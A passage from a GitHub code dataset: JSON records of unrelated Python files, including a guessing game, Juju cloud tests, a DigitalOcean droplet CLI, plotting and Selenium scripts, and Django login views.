extraction'\n\t\n\tout_path='extracted_figs'\n\n\ttry:\n\t\tos.mkdir(out_path)\n\texcept:\n\t\tprint('result folder already exist, carefull of overwriting')\n\t#file_name = \"acs.organomet.5b00874.pdf\"\n\t\n\t# this part for single-processing\n\t#for i in tqdm(range(len(file_list))):\n\t#for index,file_name in enumerate(file_list):\n\t\t#print(index,len(file_list))\n\t\t#file_name=file_list[i]\n\t\t#image_extraction(file_name,database_path,out_path)\n\t\t#print(file_name)\n\n\t# this part for multi-processing\n\toutput_list = Manager().list()\n\tinput_list=range(0,len(file_list))\n\tprint(input_list)\n\tpool = Pool(processes=4)\n\tfunc = partial(image_extraction,database_path,out_path,output_list,file_list)\n\tpool.map(func, input_list)\n\tpool.close()\n\tpool.join()\n\t#\n\n","repo_name":"longthanhta/Chem_Coupling-Reaction_DA","sub_path":"4_mining_tool/Graph Mining/STEP1_figure_extraction_mp.py","file_name":"STEP1_figure_extraction_mp.py","file_ext":"py","file_size_in_byte":3652,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"33056009756","text":"# Import random, import game_data, import art, import clear\nimport random\nfrom game_data import data\nfrom replit import clear\nimport art\n\n\ndef get_random():\n '''Randomly chooses from a list of entries.'''\n return random.choice(data)\n\ndef format_data(options):\n '''From the dictionary, assigns name, description, and country keys to a variable and formats them using an f-string to be used later in the game. '''\n name = options['name']\n description = options['description']\n country = options['country']\n return f\"{name}, a {description} from {country}.\"\n\ndef check_answer(guess, a_followers, b_followers):\n '''Determines which option has more followers and returns a boolean.'''\n if a_followers > b_followers:\n return guess == 'a'\n else:\n return guess == 'b'\n\ndef game():\n '''Plays through Higher or Lower game.'''\n game_on = True\n\n option_a = get_random()\n option_b = get_random()\n score = 0\n\n while game_on:\n print(art.logo)\n print(f'Your current score is {score}')\n print(f'Choice A: {format_data(option_a)}')\n print(art.vs)\n print(f'Choice B: {format_data(option_b)}')\n user_guess = input(\"Who has more followers? Type 'A' or 'B': \").lower()\n print(user_guess)\n \n option_a_followers = option_a['follower_count']\n option_b_followers = option_b['follower_count']\n\n if check_answer(user_guess, option_a_followers, option_b_followers) == True:\n score += 1\n option_a = option_b\n option_b = get_random()\n clear()\n else:\n print(f\"Sorry, you guessed incorrectly. Your final score is {score}\")\n game_on = False\n\ngame()","repo_name":"marshallc03/higher-lower-game","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21457620140","text":"from contextlib import contextmanager\nfrom copy import deepcopy\nfrom StringIO import StringIO\nfrom textwrap import dedent\nfrom unittest import TestCase\n\nfrom mock import (\n call,\n patch,\n )\n\nfrom jujupy import (\n AuthNotAccepted,\n fake_juju_client,\n InvalidEndpoint,\n NameNotAccepted,\n TypeNotAccepted,\n )\nfrom assess_add_cloud import (\n assess_all_clouds,\n assess_cloud,\n CloudMismatch,\n CloudSpec,\n CloudValidation,\n cloud_spec,\n EXCEEDED_LIMIT,\n iter_clouds,\n NameMismatch,\n write_status,\n xfail,\n )\nfrom tests import FakeHomeTestCase\nfrom utility import JujuAssertionError\n\n\nclass TestCloudSpec(TestCase):\n\n def test_cloud_spec(self):\n self.assertEqual(\n CloudSpec('label1', 'name1', {'config': '1'}, None, None),\n cloud_spec('label1', 'name1', {'config': '1'}))\n\n\nclass TestXFail(TestCase):\n\n def test_xfail(self):\n spec = CloudSpec('label', 'name', {'config': 'value'}, 'foo', 'bar')\n fail_spec = xfail(spec, 'baz', 'qux')\n self.assertEqual(fail_spec, CloudSpec(\n 'label', 'name', {'config': 'value'}, 'qux', 'baz'))\n\n\nclass TestAssessCloud(FakeHomeTestCase):\n\n @contextmanager\n def cloud_client(self, clouds):\n client = fake_juju_client(juju_home=self.juju_home)\n client.env.load_yaml()\n\n def dump(cloud_name, cloud):\n client.env.write_clouds(client.env.juju_home,\n clouds)\n\n with patch.object(client, 'add_cloud_interactive', dump):\n yield client\n\n def test_assess_cloud(self):\n expected_cloud = {'clouds': {\n 'foo': {\n 'type': 'maas',\n 'endpoint': 'http://bar.example.com',\n }}}\n with self.cloud_client(expected_cloud) as client:\n assess_cloud(client, 'foo', expected_cloud['clouds']['foo'])\n\n def test_assess_cloud_missing(self):\n with self.cloud_client({'clouds': {}}) as client:\n with self.assertRaisesRegexp(JujuAssertionError,\n 'Clouds missing!'):\n assess_cloud(client, 'foo', {\n 'type': 'maas',\n 'endpoint': 'http://bar.example.com',\n })\n\n def test_assess_cloud_mismatch(self):\n with self.cloud_client({'clouds': {'foo': {}}}) as client:\n with self.assertRaisesRegexp(JujuAssertionError,\n 'Cloud mismatch'):\n stderr = StringIO()\n with patch('sys.stderr', stderr):\n assess_cloud(client, 'foo', {\n 'type': 'maas',\n 'endpoint': 'http://bar.example.com',\n })\n self.assertEqual(dedent(\"\"\"\n Expected:\n {endpoint: 'http://bar.example.com', type: maas}\n\n Actual:\n {}\n \"\"\"), stderr.getvalue())\n\n\nclass TestCloudValidation(FakeHomeTestCase):\n\n def test_2_0(self):\n validation = CloudValidation('2.0.0')\n self.assertIs('2.0.0', validation.version)\n self.assertIs(validation.NONE, validation.support)\n self.assertIsFalse(validation.is_basic)\n self.assertIsFalse(validation.is_endpoint)\n self.assertFalse(validation.has_endpoint('openstack'))\n self.assertIs(\n validation.NONE, CloudValidation('2.0-beta1').support)\n self.assertIs(\n validation.NONE, CloudValidation('2.0.3').support)\n\n def test_2_1(self):\n validation = CloudValidation('2.1.0')\n self.assertIs('2.1.0', validation.version)\n self.assertIs(validation.BASIC, validation.support)\n self.assertIsTrue(validation.is_basic)\n self.assertIsFalse(validation.is_endpoint)\n self.assertFalse(validation.has_endpoint('openstack'))\n self.assertIs(\n validation.BASIC, CloudValidation('2.1-beta1').support)\n self.assertIs(\n validation.BASIC, CloudValidation('2.1.3').support)\n\n def test_2_2_plus(self):\n validation = CloudValidation('2.2.0')\n self.assertIs('2.2.0', validation.version)\n self.assertIs(validation.ENDPOINT, validation.support)\n self.assertIsFalse(validation.is_basic)\n self.assertIsTrue(validation.is_endpoint)\n self.assertTrue(validation.has_endpoint('openstack'))\n self.assertFalse(validation.has_endpoint('manual'))\n self.assertIs(\n validation.ENDPOINT, CloudValidation('2.2-beta1').support)\n self.assertIs(\n validation.ENDPOINT, CloudValidation('2.2.1').support)\n self.assertIs(\n validation.ENDPOINT, CloudValidation('2.3-beta1').support)\n\n\nlong_text = 'A' * EXCEEDED_LIMIT\nendpoint_validation = CloudValidation('2.2.0')\nbasic_validation = CloudValidation('2.1.0')\n\n\ndef make_long_endpoint(spec, validation, regions=False):\n config = deepcopy(spec.config)\n config['endpoint'] = long_text\n if regions:\n for region in config['regions'].values():\n region['endpoint'] = long_text\n spec = cloud_spec('long-endpoint-{}'.format(spec.name), spec.name, config,\n InvalidEndpoint)\n if validation.is_basic:\n spec = xfail(spec, 1641970, CloudMismatch)\n return spec\n\n\nclass TestIterClouds(FakeHomeTestCase):\n\n bogus_type = cloud_spec('bogus-type', 'bogus-type', {'type': 'bogus'},\n exception=TypeNotAccepted)\n\n def test_manual(self):\n self.maxDiff = None\n cloud = {'type': 'manual', 'endpoint': 'http://example.com'}\n spec = cloud_spec('foo', 'foo', cloud)\n self.assertItemsEqual([\n self.bogus_type, spec,\n xfail(cloud_spec('long-name-foo', long_text, cloud),\n 1641970, NameMismatch),\n xfail(cloud_spec('invalid-name-foo', 'invalid/name', cloud,\n exception=NameNotAccepted), 1641981, None),\n make_long_endpoint(spec, basic_validation)\n ],\n iter_clouds({'foo': cloud}, endpoint_validation))\n\n def test_manual_no_validation(self):\n self.maxDiff = None\n cloud = {'type': 'manual', 'endpoint': 'http://example.com'}\n spec = cloud_spec('foo', 'foo', cloud)\n self.assertItemsEqual([\n self.bogus_type, spec,\n xfail(cloud_spec('long-name-foo', long_text, cloud),\n 1641970, NameMismatch),\n xfail(cloud_spec('invalid-name-foo', 'invalid/name', cloud,\n exception=NameNotAccepted), 1641981, None),\n make_long_endpoint(\n spec, basic_validation)\n ],\n iter_clouds({'foo': cloud}, basic_validation))\n\n def test_vsphere(self):\n cloud = {\n 'type': 'vsphere',\n 'endpoint': '1.2.3.4',\n 'regions': {'q': {'endpoint': '1.2.3.4'}},\n }\n spec = cloud_spec('foo', 'foo', cloud, exception=None)\n self.assertItemsEqual([\n self.bogus_type, spec,\n xfail(cloud_spec('invalid-name-foo', 'invalid/name', cloud,\n exception=NameNotAccepted), 1641981, None),\n xfail(cloud_spec('long-name-foo', long_text, cloud,\n exception=None), 1641970, NameMismatch),\n make_long_endpoint(\n spec, endpoint_validation, regions=True),\n ], iter_clouds({'foo': cloud}, endpoint_validation))\n\n def test_vsphere_no_validation(self):\n cloud = {\n 'type': 'vsphere',\n 'endpoint': '1.2.3.4',\n 'regions': {'q': {'endpoint': '1.2.3.4'}},\n }\n spec = cloud_spec('foo', 'foo', cloud, exception=None)\n self.assertItemsEqual([\n self.bogus_type, spec,\n xfail(cloud_spec('invalid-name-foo', 'invalid/name', cloud,\n exception=NameNotAccepted), 1641981, None),\n xfail(cloud_spec('long-name-foo', long_text, cloud,\n exception=None), 1641970, NameMismatch),\n xfail(make_long_endpoint(spec,\n endpoint_validation, regions=True),\n 1641970, CloudMismatch),\n ], iter_clouds({'foo': cloud}, basic_validation))\n\n def test_maas(self):\n cloud = {\n 'type': 'maas',\n 'endpoint': 'http://example.com',\n }\n spec = cloud_spec('foo', 'foo', cloud, exception=None)\n self.assertItemsEqual([\n self.bogus_type, spec,\n xfail(cloud_spec('invalid-name-foo', 'invalid/name', cloud,\n exception=NameNotAccepted), 1641981, None),\n xfail(cloud_spec('long-name-foo', long_text, cloud,\n exception=None), 1641970, NameMismatch),\n make_long_endpoint(spec, endpoint_validation),\n ], iter_clouds({'foo': cloud}, endpoint_validation))\n\n def test_maas_no_validation(self):\n cloud = {\n 'type': 'maas',\n 'endpoint': 'http://example.com',\n }\n spec = cloud_spec('foo', 'foo', cloud, exception=None)\n self.assertItemsEqual([\n self.bogus_type, spec,\n xfail(cloud_spec('invalid-name-foo', 'invalid/name', cloud,\n exception=NameNotAccepted), 1641981, None),\n xfail(cloud_spec('long-name-foo', long_text, cloud,\n exception=None), 1641970, NameMismatch),\n make_long_endpoint(spec, basic_validation),\n ], iter_clouds({'foo': cloud}, basic_validation))\n\n def test_openstack(self):\n config = {'type': 'openstack', 'endpoint': 'http://example.com',\n 'regions': {'bar': {'endpoint': 'http://baz.example.com'}}}\n spec = cloud_spec('foo', 'foo', config, exception=None)\n invalid_name = xfail(\n cloud_spec('invalid-name-foo', 'invalid/name', config,\n exception=NameNotAccepted), 1641981, None)\n long_name = xfail(\n cloud_spec('long-name-foo', long_text, config, exception=None),\n 1641970, NameMismatch)\n long_region = cloud_spec(\n 'long-endpoint-foo-bar', 'foo', deepcopy(config), InvalidEndpoint)\n long_region.config['regions']['bar']['endpoint'] = long_text\n bogus_auth = cloud_spec('bogus-auth-foo', 'foo',\n deepcopy(config), exception=AuthNotAccepted)\n bogus_auth.config['auth-types'] = ['asdf']\n self.assertItemsEqual([\n self.bogus_type, spec, invalid_name, long_name, long_region,\n bogus_auth,\n make_long_endpoint(spec, endpoint_validation),\n ], iter_clouds({'foo': config}, endpoint_validation))\n\n def test_openstack_no_validation(self):\n config = {'type': 'openstack', 'endpoint': 'http://example.com',\n 'regions': {'bar': {'endpoint': 'http://baz.example.com'}}}\n spec = cloud_spec('foo', 'foo', config, exception=None)\n invalid_name = xfail(\n cloud_spec('invalid-name-foo', 'invalid/name', config,\n exception=NameNotAccepted), 1641981, None)\n long_name = xfail(\n cloud_spec('long-name-foo', long_text, config, exception=None),\n 1641970, NameMismatch)\n long_region = xfail(cloud_spec(\n 'long-endpoint-foo-bar', 'foo', deepcopy(config),\n InvalidEndpoint), 1641970, CloudMismatch)\n long_region.config['regions']['bar']['endpoint'] = long_text\n bogus_auth = cloud_spec('bogus-auth-foo', 'foo',\n deepcopy(config), exception=AuthNotAccepted)\n bogus_auth.config['auth-types'] = ['asdf']\n self.assertItemsEqual([\n self.bogus_type, spec, invalid_name, long_name, long_region,\n bogus_auth,\n make_long_endpoint(spec, basic_validation),\n ], iter_clouds({'foo': config}, basic_validation))\n\n\nclass TestAssessAllClouds(FakeHomeTestCase):\n\n def test_assess_all_clouds(self):\n client = fake_juju_client(juju_home=self.juju_home)\n clouds = {'a': {'type': 'foo'}, 'b': {'type': 'bar'}}\n cloud_specs = iter_clouds(clouds, endpoint_validation)\n exception = Exception()\n with patch('assess_add_cloud.assess_cloud',\n side_effect=[TypeNotAccepted(), None] + [exception] * 7):\n with patch('sys.stdout'):\n with patch('logging.exception') as exception_mock:\n succeeded, xfail, failed = assess_all_clouds(client,\n cloud_specs)\n self.assertEqual({'bogus-type', 'a'}, succeeded)\n self.assertEqual({\n 'b', 'bogus-auth-a', 'bogus-auth-b', 'invalid-name-a',\n 'invalid-name-b', 'long-name-a', 'long-name-b'},\n failed)\n self.assertEqual(exception_mock.mock_calls, [call(exception)] * 7)\n\n def test_xfail(self):\n cloud_specs = [xfail(cloud_spec('label1', 'name1', {'config': '1'}),\n 27, TypeNotAccepted)]\n client = fake_juju_client(juju_home=self.juju_home)\n with patch('assess_add_cloud.assess_cloud',\n side_effect=TypeNotAccepted):\n with patch('logging.exception') as exception_mock:\n with patch('sys.stdout'):\n succeeded, xfailed, failed = assess_all_clouds(client,\n cloud_specs)\n self.assertEqual(set(), failed)\n self.assertEqual({27: {'label1'}}, xfailed)\n self.assertEqual(0, exception_mock.call_count)\n\n def test_failed_notraised(self):\n client = fake_juju_client(juju_home=self.juju_home)\n cloud_specs = [\n cloud_spec('label', 'name', {'config': '1'}, TypeNotAccepted)]\n with patch('assess_add_cloud.assess_cloud'):\n with patch('logging.exception') as exception_mock:\n with patch('sys.stdout'):\n succeeded, xfailed, failed = assess_all_clouds(client,\n cloud_specs)\n self.assertEqual(set(['label']), failed)\n self.assertEqual(1, exception_mock.call_count)\n raised_e = exception_mock.mock_calls[0][1][0]\n self.assertEqual(\n \"Expected exception not raised: \"\n \"\",\n raised_e.message)\n\n\nclass TestWriteStatus(FakeHomeTestCase):\n\n def do_write(self, status, items):\n stdout = StringIO()\n with patch('sys.stdout', stdout):\n write_status(status, items)\n return stdout.getvalue()\n\n def test_write_none(self):\n self.assertEqual('pending: none\\n', self.do_write('pending', set()))\n\n def test_write_one(self):\n self.assertEqual('pending: q\\n', self.do_write('pending', {'q'}))\n\n def test_write_two(self):\n self.assertEqual('pending: q, r\\n',\n self.do_write('pending', {'r', 'q'}))\n","repo_name":"juju/1.25-upgrade","sub_path":"juju2/acceptancetests/tests/test_assess_add_cloud.py","file_name":"test_assess_add_cloud.py","file_ext":"py","file_size_in_byte":15196,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"19988815501","text":"#!/usr/bin/env python3\n\n\"\"\"\nEntrypoint for docker-droplet\nParse command line arguments and call the selected handlers\n\"\"\"\n\nimport sys\nfrom inspect import cleandoc\nfrom os import environ, path\n\nfrom docopt import docopt # type: ignore\n\nfrom docker_droplet.down import tear_down\nfrom docker_droplet.exceptions import (\n MissingVariable,\n PathNotResolvable,\n)\nfrom docker_droplet.up import set_up\n\n# If packaged multi_job will be scoped, otherwise append parent path.\npackage_directory = path.realpath(path.join(__file__, \"../..\"))\nsys.path.append(package_directory)\n\n\nCLI = cleandoc(\n \"\"\"\n Usage:\n docker-droplet up [options]\n docker-droplet down [options]\n \n Options:\n --droplet-name=\n --ssh-key=\n --token=\n --project=\n --domain=\n --config-path=\"\"\"\n)\n\n\nclass InputArg:\n def __init__(self, name: str, value: str) -> None:\n self.name = name\n self.value = None if value == \"None\" else value\n\n def assign_default(self, default: str) -> None:\n \"\"\"\n If the object's value attribute is None the assign a default value\n\n Args:\n default (str):\n \"\"\"\n if not self.value:\n self.value = default\n\n def validate_path(self, check_file_exists: bool = False) -> None:\n \"\"\"\n Check if path's directory is resolvable. Optionally check if the path itself exists.\n\n Args:\n check_file_exists (bool, optional): [description]. Defaults to False.\n\n Raises:\n PathNotResolvable: [description]\n PathNotResolvable: [description]\n \"\"\"\n if not path.exists(path.dirname(self.value)):\n raise PathNotResolvable(self.name, self.value)\n\n if check_file_exists and not path.exists(self.value):\n raise PathNotResolvable(self.name, self.value)\n\n def sync_env(self) -> None:\n \"\"\"\n Synchronize the object's value with the environment variable TF_VAR_\n \"\"\"\n NAME = \"TF_VAR_DOCKER_DROPLET_\" + self.name.upper()\n if self.value:\n environ.putenv(NAME, self.value)\n else:\n self.value = environ.get(NAME, None)\n\n def set_required(self) -> None:\n if not self.value:\n raise MissingVariable(self.name)\n\n def __str__(self) -> str:\n return f\"{self.name}: {self.value}\"\n\n\ndef main() -> None:\n \"\"\"\n Entry point for docker-droplet\n \"\"\"\n arguments = docopt(CLI)\n droplet_name = InputArg(\n \"droplet_name\", arguments[\"--droplet-name\"]\n )\n ssh_key = InputArg(\"ssh_key\", arguments[\"--ssh-key\"])\n token = InputArg(\"token\", arguments[\"--token\"])\n project = InputArg(\"project\", arguments[\"--project\"])\n domain = InputArg(\"domain\", arguments[\"--domain\"])\n config_path = InputArg(\"config_path\", arguments[\"--config-path\"])\n\n token.sync_env()\n token.set_required()\n\n if arguments[\"up\"]:\n config_path.assign_default(\"./config.tf\")\n config_path.validate_path()\n\n droplet_name.sync_env()\n droplet_name.set_required()\n\n ssh_key.sync_env()\n ssh_key.set_required()\n ssh_key.validate_path(check_file_exists=True)\n\n set_up(\n droplet_name.value,\n ssh_key.value,\n token.value,\n project.value,\n domain.value,\n config_path.value,\n )\n\n if arguments[\"down\"]:\n config_path.set_required()\n config_path.validate_path()\n tear_down(token.value, config_path.value)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"JoelLefkowitz/docker-droplet","sub_path":"docker_droplet/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3623,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"42135389129","text":"import configparser\nimport torch # noqa\n\n\ndef create(model, config_file):\n\n config = configparser.ConfigParser()\n config.read(config_file)\n\n optimizer_type = eval('torch.optim.' + config['optimizer']['type'])\n optimizer_params = eval(config['optimizer']['params'])\n num_iterations = eval(config['optimizer']['num_iterations'])\n\n optimizer = optimizer_type(model.parameters(), **optimizer_params)\n\n return optimizer, num_iterations\n","repo_name":"funkelab/lisl","sub_path":"lisl/optimizers/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"75155781584","text":"\"\"\"\n<>\n\n>\n\n<\n\"\"\"\nfrase = \"Hola que tal que como que estas\"\n\nlistaFrase = frase.split()\n\nconj = set()\n\nfor elem in listaFrase:\n conj.add(elem)\n\nrespuesta = list(conj)\n\nrespuesta.sort(key= lambda x: len(x), reverse=True)\n \n\nprint(respuesta)\n","repo_name":"fersayago/Programacion","sub_path":"Test/conjunto ordernar frase.py","file_name":"conjunto ordernar frase.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1229887998","text":"'''\nPython 对注解所做的唯一的事情是,把它们存储在函数的 __annotations__ 属性里。\n\n仅此而已,Python 不做检查、不做强制、不做验证,什么操作都不做。换句话说,\n\n注解对Python 解释器没有任何意义。注解只是元数据,可以供 IDE、框架和装饰器等工具使用。\n\n写作本书时,标准库中还没有什么会用到这些元数据,\n\n唯有 inspect.signature() 函数知道怎么提取注解,如示例 5-20 所示\n'''\n\n# 示例 5-20 从函数签名中提取注解\nfrom chapter_5.demo_5_19 import clip\nfrom inspect import signature\n\nsig = signature(clip)\n\nprint(sig.return_annotation)\n'''\nsignature 函 数 返 回 一 个 Signature 对 象,\n它 有 一 个 return_annotation 属 性 和 一 个parameters 属性,后者是一个字典,把参数名映射到 Parameter 对象上。\n每个 Parameter 对象自己也有 annotation 属性。\n\n示例 5-20 用到了这几个属性\n'''\nfor param in sig.parameters.values():\n\tnote = repr(param.annotation).ljust(13)\n\tprint(note, ':', param.name, '=', param.default)\n","repo_name":"linsanityHuang/the_fluent_python","sub_path":"chapter_5/demo_5_20.py","file_name":"demo_5_20.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"zh","doc_type":"code","stars":6,"dataset":"github-code","pt":"48"} +{"seq_id":"33442005922","text":"import numpy as np\nimport cv2\n\nimport target_localization\n\ndef main_video():\n cap = cv2.VideoCapture(\"footage/2022-finals-diver-5-targets.mp4\")\n\n if not cap.isOpened():\n return\n\n while (cap.isOpened()):\n success, frame = cap.read()\n\n if not success:\n break\n\n target_localization.process(frame)\n\n if cv2.waitKey(25) & 0xFF == ord(\"q\"):\n break\n\n cap.release()\n\n cv2.destroyAllWindows()\n\ndef main_image():\n image_files = [\n \"footage/sarah-target-1.png\",\n \"footage/sarah-target-2.png\",\n \"footage/sarah-target-3.png\",\n ]\n\n for image_file in image_files:\n frame = cv2.imread(image_file)\n\n target_localization.process(frame)\n\n\n while True:\n if cv2.waitKey(25) & 0xFF == ord(\"q\"):\n break\n\n cv2.destroyAllWindows()\n\nif __name__ == \"__main__\":\n main_image()","repo_name":"Tartan-AUV/TAUV-Playground","sub_path":"target-localization/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"13551836431","text":"import math\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.axes_grid1.inset_locator import inset_axes\n\ndata_type = {'msg' : 'raw', 'header' : 'header', 'array' : 'array'}\ndata_protocol = {'tcp' : 'tcp', 'ipc' : 'ipc'}\ndata_copy = {True : 'copy', False : 'notcopy'}\ndata_method = {'json' : 'json', 'cpickle' : 'cPickle'}\n\ndata = {'msg': {}, 'header': {}, 'array': {}}\n\nwith open('log') as fp:\n begin = False\n #dtype = None\n #method = None\n #size = 0\n #is_copy = False\n #niter = 0\n #latency = 0\n #iterations = 0\n #throughput = 0\n for line in fp:\n line = line.strip()\n if line.startswith('test_'):\n begin = True\n words = line.split('_')\n dtype = words[1]\n if words[1] == 'msg':\n method = None\n else:\n method = words[2]\n elif begin:\n words = line.split()\n if words[0] == 'Address':\n if words[2].find('ipc') >= 0:\n protocol = 'ipc' \n elif words[2].find('tcp') >= 0:\n protocol = 'tcp'\n begin = False\n else:\n raise Exception\n elif words[0] == 'Size':\n size = math.log(int(words[2]), 2)\n #size = int(words[2])\n elif words[0] == 'Copy':\n is_copy = eval(words[2])\n elif words[0] == 'niter':\n niter = int(words[2])\n elif words[0] == 'Latency':\n latency = float(words[2])\n elif words[0] == 'Iterations':\n iterations = float(words[4])\n elif words[0] == 'Throughput':\n throughput = float(words[4])\n elif words[0] == 'Elapse':\n begin = False\n name = data_type[dtype] + '_' + data_protocol[protocol]\n if method:\n name += '_' + data_method[method]\n name += '_' + data_copy[is_copy]\n if not data[dtype].get(name, None):\n data[dtype][name] = {}\n data[dtype][name][size] = [latency, iterations, throughput]\n\n\nfor dtype in data.keys():\n throughput = {}\n latency = {}\n iterations = {}\n for name, val in data[dtype].items():\n size = val.keys()\n size.sort()\n latency[name] = [size, [val[s][0] for s in size]]\n iterations[name] = [size, [val[s][1] for s in size]]\n throughput[name] = [size, [val[s][2] for s in size]]\n\n for name, val in latency.items():\n plt.plot(val[0], val[1], 'o--', label=name)\n plt.grid(True)\n plt.xlabel('Size (log(bytes), normalized)')\n plt.ylabel('Latency (us)')\n legend = plt.legend(loc='upper left', shadow=True)\n inset_axes(plt.axes(), width=\"45%\", height=\"45%\", loc=10)\n for name, val in latency.items():\n plt.plot(val[0][:17], val[1][:17], 'o--', label=name)\n plt.grid(True)\n plt.show()\n plt.cla()\n\n for name, val in iterations.items():\n plt.plot(val[0], val[1], 'o--', label=name)\n legend = plt.legend(loc='upper right', shadow=True)\n plt.grid(True)\n plt.xlabel('Size (log(bytes), normalized)')\n plt.ylabel('Iterations')\n plt.show()\n plt.cla()\n\n for name, val in throughput.items():\n plt.plot(val[0], val[1], 'o--', label=name)\n legend = plt.legend(loc='upper left', shadow=True)\n plt.grid(True)\n plt.xlabel('Size (log(bytes), normalized)')\n plt.ylabel('Throughput (MBps)')\n plt.show()\n plt.cla()\n\n","repo_name":"fegin/playcode","sub_path":"zmq_numpy_perf/parse_log.py","file_name":"parse_log.py","file_ext":"py","file_size_in_byte":3546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73133115346","text":"# 安装: pip install selenium\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nimport time\n\n# WebDriver is an open source tool for automated testing of webapps across many browsers. \n# It provides capabilities for navigating to web pages, \n# user input, JavaScript execution, and more. \nbrowser = webdriver.Chrome('E:/Tools/Extensions/chromedriver_win32/chromedriver.exe')\n\n# Open Web Page\nbrowser.get('http://www.baidu.com/')\n# Sleep 5 seconds till the web page is opened\ntime.sleep(5)\n\n# 找到百度搜索框\ninput = browser.find_element_by_id('kw')\n# 输入关键字\ninput.send_keys('Python')\n# 回车\ninput.send_keys(Keys.ENTER)\n\ntime.sleep(3)\n# 点击页面顶部 “贴吧”\nbrowser.find_element_by_link_text('贴吧').click()","repo_name":"fredligithub/PythonLearning","sub_path":"venv/MyTestCode/Basic/Selenium_1.py","file_name":"Selenium_1.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"72240725266","text":"from django.shortcuts import render, redirect, render_to_response\n\nfrom django.http import HttpResponse\n\nfrom django.contrib import auth\nfrom django.contrib.auth.decorators import login_required\n\nfrom django.contrib.auth.forms import AuthenticationForm\n\nfrom django.core.urlresolvers import reverse\n\nfrom biocore import forms \nfrom biocore.models import MealSignup\n\nfrom django.views.generic import ListView\n\nfrom models import User\nfrom datetime import datetime\nimport datetime\nfrom django.template.loader import get_template\nfrom django.template import Context, loader, RequestContext\n\n\ndef hello(request):\n\treturn HttpResponse(\"Hello world\")\n\ndef current_datetime(request):\n now = datetime.datetime.now()\n html = \"It is now %s.\" % now\n return HttpResponse(html)\n#\n#def hours_ahead(request, offset):\n#\ttry:\n#\t\toffset = int(offset)\n#\texcept ValueError:\n#\t\traise Http404()\n#\tdt = datetime.datetime.now() + datetime.timedelta(hours=offset)\n#\thtml = \"In %s hour(s), it will be %s.\" % (offset, dt)\n#\treturn HttpResponse(html)\n\ndef hours_ahead(request, offset):\n\ttry:\n\t\toffset = int(offset)\n\texcept ValueError:\n\t\traise Http404()\n\tdt = datetime.datetime.now() + datetime.timedelta(hours=offset)\n\t# t = get_template('hours_ahead.html')\n\t#html = t.render(Context({'future': dt}))\n\treturn render(request, 'hour_ahead.html', {'hour_offset': offset,'future':dt})\n\ndef daystoburn(request):\n\tnext_burn = datetime.datetime(2014, 8, 30)\n\tnow = datetime.datetime.now()\n\tdays_until_burn = (next_burn - now).days\n\t#html = \"The Man burns in %s days.\" %days_until_burn\n\t#t = get_template('daysuntilburn.html')\n\t#html = t.render(Context({'daystoburn': days_until_burn}))\n\treturn render(request, 'daysuntilburn.html', {'daystoburn': days_until_burn})\n\nclass ListUserView(ListView):\n\tmodel = User\n\ndef _redirect_if_logged_in(f):\n\tfrom functools import wraps\n\twraps(f)\n\tdef _f(request, *args, **kwargs):\n\t\tnext = request.GET.get(\"next\", reverse('homepage'))\n\t\tif request.user.is_authenticated():\n\t\t\treturn redirect(next)\n\t\treturn f(request, *args, **kwargs)\n\treturn _f\n\n\n# example longform equivalent of shortcuts.render:\n# from django.template.loader import get_template\n# from django.template.context import RequestContext\n# from django.http import HttpResponse\n#\n# partial_context = { 'data': 'from view' }\n# context = RequestContext(request, partial_context)\n# template = get_template('homepage.html')\n# result = template.render(context)\n# response = HttpResponse(result)\n# return response\n# -or- w/ shortcuts.render:\n# \n# return render(request, 'homepage.html', partial_context)\n\ndef homepage(request):\n\treturn render(request, 'homepage.html')\n\ndef profile(request, user_id):\n\treturn HttpResponse(\"TBD\")\n\n@_redirect_if_logged_in\ndef login(request):\n\tlogin_form = AuthenticationForm()\n\tif request.method == 'POST':\n\t\t# django takes form names and filling in field names as keys in the .POST MultiValueDict\n\t\t# something like: request.POST = {'username': 'foo'}\n\t\tlogin_form = AuthenticationForm(request, request.POST)\n\n\t\tif login_form.is_valid():\n\t\t\tuser = login_form.get_user()\n\n\t\t\tif user is not None:\n\t\t\t\tauth.login(request, user)\n\n\t\t\t\tnext = request.GET.get(\"next\", reverse('homepage'))\n\t\t\t\treturn redirect(next)\n\n\trequest.session.set_test_cookie()\n\treturn render(request, 'login.html', {\n\t\t'login_form': login_form\n\t})\n\t#if the \n\ndef logout(request):\n\tnext = request.GET.get(\"next\", reverse('homepage'))\n\tauth.logout(request)\n\treturn redirect(next)\n\n@_redirect_if_logged_in\ndef register(request):\n\tregistration_form = forms.UserCreationForm()\n\tif request.method == 'POST':\n\t\tregistration_form = forms.UserCreationForm(request.POST)\n\n\t\tif registration_form.is_valid():\n\t\t\tuser = registration_form.save()\n\t\t\tuser.backend = 'django.contrib.auth.backends.ModelBackend'\n\t\t\tauth.login(request, user)\n\t\t\treturn redirect(reverse('homepage'))\n\n\treturn render(request, 'register.html', {\n\t\t'registration_form': registration_form\n\t})\n\n@login_required\ndef travel(request):\n\ttravel_from = forms.TravelFrom()\n\tif request.method == \"POST\":\n\t\ttravel_from = forms.TravelFrom(request.POST)\n\n\treturn render(request, 